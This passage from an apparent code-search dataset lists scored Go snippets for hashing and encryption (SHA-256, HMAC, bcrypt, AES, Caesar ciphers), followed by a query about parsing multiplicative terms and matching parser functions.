{ "docid": "5a4844e96886262803dbab475c1af9ea", "score": "0.5675606", "text": "func encode(text string) string { return cipher(text, -1) }", "title": "" }, { "docid": "1d28ee0f284e69eb679871a01d3da603", "score": "0.56746626", "text": "func StringMatchesEncryption(str string, hash []byte) bool {\n\terr := bcrypt.CompareHashAndPassword(hash, []byte(str))\n\treturn err == nil\n}", "title": "" }, { "docid": "d503e5a35815980b349fd384b24959c0", "score": "0.5667056", "text": "func Hs256(key, val []byte) string {\n\thashhmac := hmac.New(sha256.New, key)\n\thashhmac.Write(val)\n\treturn hex.EncodeToString(hashhmac.Sum(nil))\n}", "title": "" }, { "docid": "560a5a61c6f3f39a82690205f230612d", "score": "0.5665041", "text": "func calculateHash(s string) string {\n\th := sha256.New()\n\th.Write([]byte(s))\n\thashed := h.Sum(nil)\n\t//fmt.Println(hashed)\n\treturn hex.EncodeToString(hashed)\n}", "title": "" }, { "docid": "1e1f736c166c83c181081cc8f7ae7cc5", "score": "0.56600296", "text": "func hashString(name string) string {\n\tif name == \"\" {\n\t\treturn name\n\t}\n\treturn fmt.Sprintf(\"%x\", sha256.Sum256([]byte(name)))\n}", "title": "" }, { "docid": "d46d3da7c0989bd35bed2f42b8e211ee", "score": "0.562345", "text": "func computeHmac256(message string, secret string) string {\n\tkey := []byte(secret)\n\th := hmac.New(sha256.New, key)\n\th.Write([]byte(message))\n\treturn hex.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "c4eec6cb910a39c05edb24c4cdb79aa2", "score": "0.56163836", "text": "func SaltAndHashString(s string) string {\n\treturn SaltAndHash([]byte(s))\n}", "title": "" }, { "docid": "237701f4addec5dc0eca2c1890ece64d", "score": "0.56054467", "text": "func signHmacSha256(message, secret string) string {\n\th := hmac.New(sha256.New, []byte(secret))\n\th.Write([]byte(message))\n\n\treturn base64.StdEncoding.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "9afdbc6ee48e8da2d6342e31639fd0ae", "score": "0.560523", "text": "func encrypt(key []byte, text string) string {\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\treturn base64.StdEncoding.EncodeToString(ciphertext)\n}", "title": "" }, { "docid": "ef6a4fe50aed4846d219911155390a10", "score": "0.56045836", "text": "func EncryptToBytes(msg string, textPasswd string) ([]byte, error) {\n\tnullResult := []byte{}\n\tkeyBytes := newKeyBytes(textPasswd)\n\t//Create a new Cipher Block from the key\n\tblock, err := aes.NewCipher(keyBytes)\n\tif err != nil {\n\t\treturn nullResult, err\n\t}\n\n\t//Create a new GCM - https://en.wikipedia.org/wiki/Galois/Counter_Mode\n\t//https://golang.org/pkg/crypto/cipher/#NewGCM\n\taesGCM, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nullResult, err\n\t}\n\n\t//Create a nonce. Nonce should be from GCM\n\tnonce := make([]byte, aesGCM.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn nullResult, err\n\t}\n\n\t//Encrypt the data using aesGCM.Seal\n\t//Since we don't want to save the nonce somewhere else in this case, we add it as a prefix to the encrypted data. The first nonce argument in Seal is the prefix.\n\tcipherText := aesGCM.Seal(nonce, nonce, []byte(msg), nil)\n\t//fmt.Println(\"cipherText: \", cipherText, \" \", hex.EncodeToString(cipherText))\n\treturn cipherText, nil\n}", "title": "" }, { "docid": "8d60f4bc7c9944595e9ffe34a841f6bd", "score": "0.560413", "text": "func (c *Ceaser) Encrypt(plaintext string, key string) string {\n\ti, _ := strconv.Atoi(key)\n\treturn rotateText(plaintext, i)\n}", "title": "" }, { "docid": "990db77f46555bb2ee888a9c84c20b45", "score": "0.5598692", "text": "func HashStr(s []byte) (n int) {\n\th := len(s)\n\tfor _, c := range s {\n\t\th += int(c)\n\t\th += (h << 3)\n\t\th = h ^ (h >> 11)\n\t\th += (h << 15)\n\t\tn = h\n\t}\n\treturn\n}", "title": "" }, { "docid": "1f37ac0b0f029c3bf80c7799dcac0235", "score": "0.5588833", "text": "func HashEncoded(ctx *Context, password []byte, salt []byte) (string, error) {\n\tif ctx == nil {\n\t\treturn \"\", ErrContext\n\t}\n\n\tif len(password) == 0 {\n\t\treturn \"\", ErrPassword\n\t}\n\tif len(salt) == 0 {\n\t\treturn \"\", ErrSalt\n\t}\n\n\tencodedlen := C.argon2_encodedlen(\n\t\tC.uint32_t(ctx.Iterations),\n\t\tC.uint32_t(ctx.Memory),\n\t\tC.uint32_t(ctx.Parallelism),\n\t\tC.uint32_t(len(salt)),\n\t\tC.uint32_t(ctx.HashLen),\n\t\tC.argon2_type(ctx.Mode))\n\n\ts := make([]byte, encodedlen)\n\n\tresult := C.argon2_hash(\n\t\tC.uint32_t(ctx.Iterations),\n\t\tC.uint32_t(ctx.Memory),\n\t\tC.uint32_t(ctx.Parallelism),\n\t\tunsafe.Pointer(&password[0]), C.size_t(len(password)),\n\t\tunsafe.Pointer(&salt[0]), C.size_t(len(salt)),\n\t\tnil, C.size_t(ctx.HashLen),\n\t\t(*C.char)(unsafe.Pointer(&s[0])), C.size_t(encodedlen),\n\t\tC.argon2_type(ctx.Mode),\n\t\tC.uint32_t(ctx.Version))\n\n\tif result != C.ARGON2_OK {\n\t\treturn \"\", Error(result)\n\t}\n\n\t// Strip trailing null byte(s)\n\ts = bytes.TrimRight(s, \"\\x00\")\n\treturn string(s), nil\n}", "title": "" }, { "docid": "9493660b5ee340209ecb6bf7a1d1651d", "score": "0.55879396", "text": "func Encrypt(text string) (string, error) {\n\tvar encryptedPassword = \"\"\n\n\tdata, err := bcrypt.GenerateFromPassword([]byte(text), 10)\n\n\tif err != nil {\n\t\treturn encryptedPassword, err\n\t}\n\n\tencryptedPassword = string(data)\n\n\tfmt.Println(\"encryptedPassword\", encryptedPassword)\n\n\treturn encryptedPassword, err\n}", "title": "" }, { "docid": "1e3af2263d3ad1b0d91ea68fca49394f", "score": "0.55877006", "text": "func GenerateBase64Sha256Hash(input string) string {\n\thashFunc := sha256.New()\n\thashFunc.Write([]byte(input))\n\n\tvar hashBytes = hashFunc.Sum([]byte{})\n\tvar hashStr = base64.RawURLEncoding.EncodeToString(hashBytes)\n\n\treturn hashStr\n}", "title": "" }, { "docid": "1db9735100c22c7408eb8cc8a0f2f4c7", "score": "0.5580522", "text": "func Encrypt(plain string, seed int64) string {\n\t// new Random from seed\n\tr := rand.New(rand.NewSource(seed))\n\tsalt := randomSalt(r, 1)[0]\n\trand := randomSalt(r, extraNum[salt])\n\n\tprev := salt\n\tcrypt := make([]byte, 0, 256)\n\tcrypt = append(crypt, []byte(magic)...)\n\tcrypt = append(crypt, salt)\n\tcrypt = append(crypt, rand...)\n\n\tpb := []byte(plain)\n\n\t// Start encoding byte by byte\n\tfor pos, b := range pb {\n\t\tencode := encoding[pos%len(encoding)]\n\t\tcrypt = append(crypt, gapEncode(b, prev, encode)...)\n\t\tprev = crypt[len(crypt)-1]\n\t}\n\n\treturn string(crypt)\n}", "title": "" }, { "docid": "3e89f5a26ba1e582a2f334028dcb31d6", "score": "0.5578201", "text": "func (c Caesar) Encrypt(input string, key int) string {\n\t// if key is negative value,\n\t// updates \"key\" the number which congruents to \"key\" modulo 26\n\tkey = (key%26 + 26) % 26\n\n\toutputBuffer := []byte{}\n\tfor _, r := range input {\n\t\tnewByte := byte(r)\n\t\tif 'A' <= newByte && newByte <= 'Z' {\n\t\t\toutputBuffer = append(outputBuffer, byte(int('A')+int(int(newByte-'A')+key)%26))\n\t\t} else if 'a' <= newByte && newByte <= 'z' {\n\t\t\toutputBuffer = append(outputBuffer, byte(int('a')+int(int(newByte-'a')+key)%26))\n\t\t} else {\n\t\t\toutputBuffer = append(outputBuffer, newByte)\n\t\t}\n\t}\n\treturn string(outputBuffer)\n}", "title": "" }, { "docid": "8608e54187eff38ab07b59b1c8c220bf", "score": "0.55747", "text": "func Encrypt(key string, text string) (string, error) {\n\trawkey, err := base64.StdEncoding.DecodeString(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tcipherblock, err := aes.NewCipher([]byte(rawkey))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tb64text := base64.StdEncoding.EncodeToString([]byte(text))\n\tciphertext := make([]byte, aes.BlockSize+len(b64text))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\tcfb := cipher.NewCFBEncrypter(cipherblock, iv)\n\tcfb.XORKeyStream(ciphertext[aes.BlockSize:], []byte(b64text))\n\treturn base64.StdEncoding.EncodeToString(ciphertext), nil\n}", "title": "" }, { "docid": "f9ce8ea83c6b1323c991278a25df4061", "score": "0.5569565", "text": "func AESEncryptBytes(key []byte, plaintext []byte) (string, error) {\n\n\tkey = fixLengthKeyHash(key)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext), nil\n}", "title": "" }, { "docid": "7f7f5d286077bbfe266c6d3226aed909", "score": "0.55676013", "text": "func encAddr(addr, key string) string {\n key_bytes, err := base64.StdEncoding.DecodeString(key)\n\n if err != nil {\n log.Println(\"encAddr() key base64 decode\", err)\n return \"\"\n }\n \n if len(addr) > len(key_bytes) {\n log.Println(\"encAddr() len(addr) > len(key_bytes)\")\n return \"\"\n }\n \n // pad with spaces\n for len(addr) < len(key_bytes) {\n addr += \" \"\n }\n\n addr_bytes := []byte(addr)\n res_bytes := make([]byte, len(addr_bytes))\n for idx, b := range key_bytes {\n res_bytes[idx] = addr_bytes[idx] ^ b\n }\n \n return base64.StdEncoding.EncodeToString(res_bytes)\n}", "title": "" }, { "docid": "fe431f8600c4f96462f0db59a97dd0a9", "score": "0.55499464", "text": "func GeneredHashSha256(key string) string {\n\thash := sha256.New()\n\tio.WriteString(hash, key)\n\ttext := hex.EncodeToString(hash.Sum(nil))\n\treturn text\n}", "title": "" }, { "docid": "f70005d4abaf7d61ebdbcaabf73bdf56", "score": "0.5549121", "text": "func encryption(s string) string {\n\t// Write your code here\n\tsqrt := math.Sqrt(float64(len(s)))\n\tfmt.Println(sqrt)\n\trow := int32(math.Floor(sqrt))\n\tcol := int32(math.Ceil(sqrt))\n\tif int32(len(s)) > row*col {\n\t\trow += 1\n\t}\n\twords := make([]string, row)\n\tfor i := int32(0); i < row; i++ {\n\t\tstart := i * col\n\t\tend := start + col\n\t\tif end > int32(len(s)) {\n\t\t\tend = int32(len(s))\n\t\t}\n\t\twords[i] = s[start:end]\n\t}\n\tencoded := make([]string, col)\n\n\tfor j := int32(0); j < col; j++ {\n\t\tfor _, wrd := range words {\n\t\t\tif j > int32(len(wrd)-1) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tencoded[j] += string(wrd[j])\n\t\t}\n\t}\n\n\treturn strings.Join(encoded, \" \")\n}", "title": "" }, { "docid": "ad9ff5aa360878ff5288bb2e16027061", "score": "0.55488", "text": "func hashString(text string) string {\n\thash := md5.Sum([]byte(text))\n\thexStr := hex.EncodeToString(hash[:])\n\n\tbi := big.NewInt(0)\n\tbi.SetString(hexStr, 16)\n\treturn bi.Text(62)\n}", "title": "" }, { "docid": "9a0af94a4d6774c2f48adeb661c0bd2a", "score": "0.5543291", "text": "func EncryptString(key, plaintext string) (string, error) {\n\tb, err := Encrypt([]byte(key), []byte(plaintext))\n\treturn string(b), err\n}", "title": "" }, { "docid": "6583d3711f73930963f5db2af7f83769", "score": "0.5525395", "text": "func SHA256(content string) (Digest, error) {\n\tsum := sha256.Sum256([]byte(content))\n\tstr := fmt.Sprintf(\"%x\", sum)\n\treturn Digest(str), nil\n}", "title": "" }, { "docid": "6e52e40adaf47d5771beb545fe8c6e2c", "score": "0.55214727", "text": "func TestEncrypt(t *testing.T) {\n const keyStr = \"gmcc1234\"\n const text = \"hello world liangx\"\n var encryptor Encryptor\n encryptor = new(AES)\n encryptor.Encrypt([]byte(text), keyStr)\n}", "title": "" }, { "docid": "c3eedba7cce9137726f4a0f2df24b95e", "score": "0.5516049", "text": "func Encrypt(key string, text string) (string, error) {\n\tvar encryptedKey string\n\tcipherKey, err := getHashedKey(key)\n\tif err == nil {\n\t\tciphertext := make([]byte, aes.BlockSize+len(text))\n\t\tiv := ciphertext[:aes.BlockSize]\n\t\tif _, err := io.ReadFull(rand.Reader, iv); err == nil {\n\t\t\tstream := cipher.NewCFBEncrypter(cipherKey, iv)\n\t\t\tstream.XORKeyStream(ciphertext[aes.BlockSize:], []byte(text))\n\t\t\tencryptedKey = fmt.Sprintf(\"%x\", ciphertext)\n\t\t}\n\t}\n\treturn encryptedKey, err\n}", "title": "" }, { "docid": "c11401cd6a511a08a3c842f145ff7ba7", "score": "0.5513104", "text": "func Hash(s string) []byte {\n\tvar r1, r2 []byte\n\n\t// init hash function\n\th := sha256.New()\n\n\t// first round\n\th.Write([]byte(s))\n\tr1 = h.Sum(nil)\n\n\t// second round\n\th.Reset()\n\th.Write(r1)\n\tr2 = h.Sum(nil)\n\n\treturn r2\n}", "title": "" }, { "docid": "3268e464b2f9279f47ccb20a66badc86", "score": "0.5511672", "text": "func (c *Client) encrypt(data string) string {\n\tchunks := make([]string, 0)\n\tfor i := 0; i < len(data); i += 8 {\n\t\tvar buf [8]byte\n\t\tvar crypt [8]byte\n\t\tcopy(buf[:], data[i:])\n\t\tc.encrypter.Encrypt(crypt[:], buf[:])\n\t\tencoded := hex.EncodeToString(crypt[:])\n\t\tchunks = append(chunks, encoded)\n\t}\n\treturn strings.Join(chunks, \"\")\n}", "title": "" }, { "docid": "7a0aecbe3367ba6a8e339a9db8a4f799", "score": "0.5511232", "text": "func AESEncrypt(key []byte, text string) string {\n\tplaintext := []byte(text)\n\tplaintext = PKCS5Padding([]byte(text), aes.BlockSize)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\treturn \"\"\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tlog.Print(err)\n\t\treturn \"\"\n\t}\n\n\tcbc := cipher.NewCBCEncrypter(block, iv)\n\tcbc.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "title": "" }, { "docid": "96e4166cfcb0aee3727906e93a8c2b94", "score": "0.55109906", "text": "func Testencrypt(t *testing.T) {\n\n\tkey := CreateKey()\n\tiv := createIV()\n\n\tplaintext := []byte(\"Secret to encrypt.\")\n\tauth_data := []byte(\"scrt\")\n\n\tcipher_text, err := encrypt(plaintext, key, iv, auth_data)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext2, err := decrypt(cipher_text, key, iv, auth_data)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif !bytes.Equal(plaintext, plaintext2) {\n\t\tt.Error(\"Decrypt failed\")\n\t}\n}", "title": "" }, { "docid": "687778a0fbc67e96bfed41a5fd9423cd", "score": "0.550895", "text": "func (ck *PublicKeyCrypto) Encrypt(input string) (string, error) {\n\tswitch ck.EncryptKey.Keytype {\n\tcase entity.EncryptTypeRSA:\n\t\treturn ck.encrypterRsa.EncryptWithBase64([]byte(input))\n\tcase entity.EncryptTypeECDSA:\n\t\treturn ck.encrypterEcdsa.EncryptWithBase64([]byte(input))\n\tcase entity.EncryptTypeED25519:\n\t\treturn ck.encrypterEd25519.EncryptWithBase64([]byte(input))\n\tdefault:\n\t\treturn \"\", errors.New(errorInvalidEncryptType)\n\t}\n}", "title": "" }, { "docid": "bd8e44115b9d301d438c7a406c9253c5", "score": "0.5502836", "text": "func generateHash(data []byte) string {\n\tsha256 := sha256.Sum256(data)\n\tstrval := fmt.Sprintf(\"%x\", sha256)\n\treturn strval\n}", "title": "" }, { "docid": "0ee1e83a30f65fd95cf4a4422a59e75f", "score": "0.55019534", "text": "func AESEncrypt(key []byte, text string) (string, bool) {\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", false\n\t}\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", false\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\treturn base64.URLEncoding.EncodeToString(ciphertext), true\n}", "title": "" }, { "docid": "c88adac68ddb6cd75c93c3eed80f7441", "score": "0.5498393", "text": "func Hash(src string, secret string) string {\n\tkey := []byte(secret)\n\th := hmac.New(sha256.New, key)\n\th.Write([]byte(src))\n\treturn base64.StdEncoding.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "1c71dcc76a0b3d8ef4a8c977688b25b1", "score": "0.5496947", "text": "func (k *keeper) Encrypt(ctx context.Context, plaintext []byte) ([]byte, error) {\n\tif err := k.validateOptions(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tb64Text := base64.StdEncoding.EncodeToString(plaintext)\n\tkeyOpsResult, err := k.client.Encrypt(ctx, k.getKeyVaultURI(), k.keyName, k.keyVersion, keyvault.KeyOperationsParameters{\n\t\tAlgorithm: keyvault.JSONWebKeyEncryptionAlgorithm(k.options.Algorithm),\n\t\tValue: &b64Text,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn []byte(*keyOpsResult.Result), nil\n}", "title": "" } ]
75372fbc28d2b40b31f6c0d3d475f492
term: factor ((MUL | DIV) factor)
[ { "docid": "4190174e262c7f3a474bcbe7ac415058", "score": "0.69097733", "text": "func (p *Parser) term() (AST, error) {\n\tast, err := p.factor()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor p.currentToken.tokenType == MULTIPLY || p.currentToken.tokenType == DIVIDE {\n\t\tif p.currentToken.tokenType == MULTIPLY {\n\t\t\top := p.currentToken\n\t\t\tp.eat(MULTIPLY)\n\t\t\td, err := p.factor()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tast = BinOp{op, ast, d}\n\t\t} else if p.currentToken.tokenType == DIVIDE {\n\t\t\top := p.currentToken\n\t\t\tp.eat(DIVIDE)\n\t\t\td, err := p.factor()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tast = BinOp{op, ast, d}\n\t\t}\n\t}\n\n\treturn ast, nil\n}", "title": "" } ]
[ { "docid": "81bfbd1e8b51ea819ba000ecec81c2a0", "score": "0.68151057", "text": "func factor(a, b int) (sum, multi int) {\n\tsum = a + b\n\tmulti = a * b\n\treturn // returns both sum and multi as named results\n}", "title": "" }, { "docid": "21af296d387ece2afd86b06ce1465f21", "score": "0.64889395", "text": "func term(p *parser) *Expr {\n\treturn p.parse(\"*/%&\", \">><<&^\", factor)\n}", "title": "" }, { "docid": "5237eba2220a19a361942f8b77521f11", "score": "0.64551777", "text": "func (p *Parser) parseTerm() *ast.Node {\n\top := int(token.Times)\n\tfact := p.parseFactor()\n\tfor {\n\t\tif p.accept(token.Times) {\n\t\t\top = token.Times\n\t\t} else if p.accept(token.Divide) {\n\t\t\top = token.Divide\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t\tsecond := p.parseFactor()\n\t\tfact = ast.NewMathNode(op, fact, second)\n\t}\n\treturn fact\n}", "title": "" }, { "docid": "32bf5076fb36f89ce657f6c4604454f9", "score": "0.63581824", "text": "func evaluateMulDiv(tokens []token) []token {\n\tindex := 0\n\tfor index < len(tokens) {\n\t\tswitch tokens[index].kind {\n\t\tcase Mul:\n\t\t\ttokens = replaceMul(tokens, index)\n\t\tcase Div:\n\t\t\ttokens = replaceDiv(tokens, index)\n\t\tdefault:\n\t\t\tindex++\n\t\t}\n\t}\n\treturn tokens\n}", "title": "" }, { "docid": "376aea64a969607299ba07c86a060944", "score": "0.62969506", "text": "func (p *parser) term() Expr {\n\texpr := p.factor()\n\tfor p.match(Plus, Minus) {\n\t\top := p.prev()\n\t\tright := p.factor()\n\t\texpr = &BinaryExpr{operator: op, left: expr, right: right}\n\t}\n\treturn expr\n}", "title": "" }, { "docid": "21db500477031928009af154998fc1fa", "score": "0.6250533", "text": "func multterm(term1, term2 *term)*term{\n\tres := term{term1.coef*term2.coef, term2.pow+term1.pow}\n\treturn &res\n}", "title": "" }, { "docid": "3a374cff62841249a7e16f4b6b132760", "score": "0.59430695", "text": "func factor(p *parser) *Expr {\n\tc := p.peek(true)\n\tswitch {\n\tcase c == eof:\n\t\tthrow(\"unexpected eof\")\n\tcase isDigit(c):\n\t\treturn &Expr{\n\t\t\tnum: p.number(),\n\t\t}\n\tcase isAlpha(c, false):\n\t\treturn &Expr{\n\t\t\tident: p.identifier(),\n\t\t}\n\tcase p.starts(\"+-^!\"):\n\t\top := p.s[:1]\n\t\tp.next(false)\n\t\treturn &Expr{\n\t\t\top: op,\n\t\t\tright: factor(p),\n\t\t}\n\tcase c == '(':\n\t\tp.next(false)\n\t\te := orList(p)\n\t\tif p.next(true) != ')' {\n\t\t\tthrow(\"unclosed paren at \", p.remaining())\n\t\t}\n\t\treturn e\n\t}\n\tthrow(\"bad expression at \", p.remaining())\n\treturn nil\n}", "title": "" }, { "docid": "5a7896f978e5e618773aa2bf5986fa5d", "score": "0.5920241", "text": "func (p *Parser) factor() (AST, error) {\n\n\tif p.currentToken.tokenType == MINUS || p.currentToken.tokenType == PLUS {\n\t\tt := p.currentToken\n\t\tp.eat(p.currentToken.tokenType)\n\t\td, err := p.factor()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn UnaryOp{t, d}, nil\n\t} else if p.currentToken.tokenType == INTEGER {\n\t\tfmt.Println(\"AT INT\", p.currentToken, reflect.TypeOf(p.currentToken.value))\n\t\tt := p.currentToken\n\t\td := p.currentToken.value.(int)\n\t\tp.eat(INTEGER)\n\t\treturn Num{t, d}, nil\n\t} else if p.currentToken.tokenType == LEFTPAREN {\n\t\tp.eat(LEFTPAREN)\n\t\td, err := p.expr()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tp.eat(RIGHTPAREN)\n\t\treturn d, nil\n\t} else if p.currentToken.tokenType == ID {\n\t\tfmt.Println(\"AT ID\", p.currentToken, reflect.TypeOf(p.currentToken.value))\n\t\tv, err := p.variable()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn v, nil\n\t}\n\treturn nil, fmt.Errorf(\"Expected PARENS or TERM but got %s\", p.currentToken.tokenType)\n}", "title": "" }, { "docid": "eb23087d69eacce2ba9e8e3dd6208a59", "score": "0.5876153", "text": "func (p *Parser) parseFactor() *ast.Node {\n\tiden := p.getTerminalNodeFromLookahead()\n\tif p.accept(token.Identifier) || p.accept(token.Integer) {\n\t\treturn iden\n\t} else if p.accept(token.LeftParen) {\n\t\texpr := p.parseExpression()\n\t\tp.expect(token.RightParen)\n\t\treturn expr\n\t} else {\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "11c743f7b77968330495964aecda38db", "score": "0.5796334", "text": "func (parser *GrammarParser) parseFactor() *Factor {\n\tfactor := NewFactor()\n\tnext := parser.nextToken()\n\tswitch next.ID {\n\tcase token.PLUS, token.MINUS, token.TILDE:\n\t\tnode := parser.parseFactor()\n\t\tif node == nil {\n\t\t\treturn nil\n\t\t}\n\t\tfactor.Append(NewTokenNode(next))\n\t\tfactor.Append(node)\n\tdefault:\n\t\tparser.unreadToken(next)\n\t\tpower := parser.parsePower()\n\t\tif power == nil {\n\t\t\treturn nil\n\t\t}\n\t\tfactor.Append(power)\n\t}\n\n\treturn factor\n}", "title": "" }, { "docid": "7d9c340fc62f8ccaba8baeef23b5b0ef", "score": "0.57025087", "text": "func (facts *factors) multiply() int {\n// Don't need the pointer to products, but use it most of the time (don't have to copy)\n\n return facts.factorA * facts.factorB\n\n}", "title": "" }, { "docid": "be27da0c11c6c94c27ba19d4682d4402", "score": "0.5610361", "text": "func (c *Compiler) multDivide() error {\n\terr := c.unary()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tparsing := true\n\tfor parsing {\n\t\tif c.t.AtEnd() {\n\t\t\tbreak\n\t\t}\n\n\t\top := c.t.Peek(1)\n\n\t\t// Special case; if the next tokens are * <symbol> = then this isn't a multiply,\n\t\t// but rather a pointer dereference assignment statement boundary.\n\t\tif c.t.Peek(1) == tokenizer.PointerToken && c.t.Peek(2).IsIdentifier() && c.t.Peek(3) == tokenizer.AssignToken {\n\t\t\tparsing = false\n\n\t\t\tcontinue\n\t\t}\n\n\t\tif c.t.AnyNext(\n\t\t\ttokenizer.ExponentToken,\n\t\t\ttokenizer.MultiplyToken,\n\t\t\ttokenizer.DivideToken,\n\t\t\ttokenizer.AndToken,\n\t\t\ttokenizer.ModuloToken,\n\t\t) {\n\t\t\tif c.t.IsNext(tokenizer.EndOfTokens) {\n\t\t\t\treturn c.error(errors.ErrMissingTerm)\n\t\t\t}\n\n\t\t\terr := c.unary()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tswitch op {\n\t\t\tcase tokenizer.ExponentToken:\n\t\t\t\tc.b.Emit(bc.Exp)\n\n\t\t\tcase tokenizer.MultiplyToken:\n\t\t\t\tc.b.Emit(bc.Mul)\n\n\t\t\tcase tokenizer.DivideToken:\n\t\t\t\tc.b.Emit(bc.Div)\n\n\t\t\tcase tokenizer.AndToken:\n\t\t\t\tc.b.Emit(bc.BitAnd)\n\n\t\t\tcase tokenizer.ModuloToken:\n\t\t\t\tc.b.Emit(bc.Modulo)\n\t\t\t}\n\t\t} else {\n\t\t\tparsing = false\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "d9cca930d6865acea23441861fd75483", "score": "0.5606706", "text": "func (fa *Fraction) Mult(fb Fraction) {\n\tfa.Numerator *= fb.Numerator\n\tfa.Denominator *= fb.Denominator\n\tfa.Simplify()\n}", "title": "" }, { "docid": "f7fb1216dac81ccb9ebccd326f6aca3a", "score": "0.5580318", "text": "func (t *Token) factor() *big.Int {\n\tvar evmFactor int64 = 9\n\tif t.EVMFactor != nil {\n\t\tevmFactor = *t.EVMFactor\n\t}\n\treturn new(big.Int).Exp(big.NewInt(10), big.NewInt(evmFactor), nil)\n}", "title": "" }, { "docid": "3771a64e5d8edf9d75e82a8d6ec7656a", "score": "0.5559922", "text": "func Mul(a, b int) int { return a * b }", "title": "" }, { "docid": "c93becec81ea03da3f11f36826277492", "score": "0.55490255", "text": "func (m Message) Factor() (*field.FactorField, quickfix.MessageRejectError) {\n\tf := &field.FactorField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "title": "" }, { "docid": "c93becec81ea03da3f11f36826277492", "score": "0.55490255", "text": "func (m Message) Factor() (*field.FactorField, quickfix.MessageRejectError) {\n\tf := &field.FactorField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "title": "" }, { "docid": "8d8165f460cb486d083e97629f19cb62", "score": "0.5425642", "text": "func (v *BaseExprVisitor) VisitMulDiv(ctx *MulDivContext) interface{} {\n\tleft := v.Visit(ctx.Expr(0)).(int)\n\tright := v.Visit(ctx.Expr(1)).(int)\n\tif ctx.op.GetTokenType() == ExprLexerMUL {\n\t\treturn left * right\n\t}\n\treturn left / right\n}", "title": "" }, { "docid": "76ad44df45923573561b1aca9a8ddf03", "score": "0.5395317", "text": "func Mul(a, b, c *GF127)", "title": "" }, { "docid": "b7fd1bc8bc384733325c1fbf8a3dd5b9", "score": "0.5395115", "text": "func mul(a, b int) int {\n\treturn (a * b)\n}", "title": "" }, { "docid": "c25d4ebe25f34f8d1e30146eddc412c9", "score": "0.5282119", "text": "func Mul(left, right float64) float64 {\n\treturn left * right\n}", "title": "" }, { "docid": "4e18b360609baa45437889d0f1cd8924", "score": "0.52720934", "text": "func term(data *string) (res string, err error) {\n\tvar j int\n\tif (*data)[0] == '(' {\n\t\tj, err = parse(*data, 1, ')')\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tres = (*data)[:j+1]\n\t\t*data = (*data)[j+1:]\n\t\treturn\n\t}\n\tres, err = symbol(data)\n\treturn\n}", "title": "" }, { "docid": "e03a7fa9549ea1ee36f18fbe25c185e1", "score": "0.5262785", "text": "func mul(interpreter *Interpreter) {\n\tnum2 := interpreter.PopFloat()\n\tnum1 := interpreter.PopFloat()\n\tinterpreter.Push(num1 * num2)\n}", "title": "" }, { "docid": "7129a20ad283173ec097693ec6a21cbb", "score": "0.52338254", "text": "func Mul(a int, b int) int {\n\treturn a * b\n}", "title": "" }, { "docid": 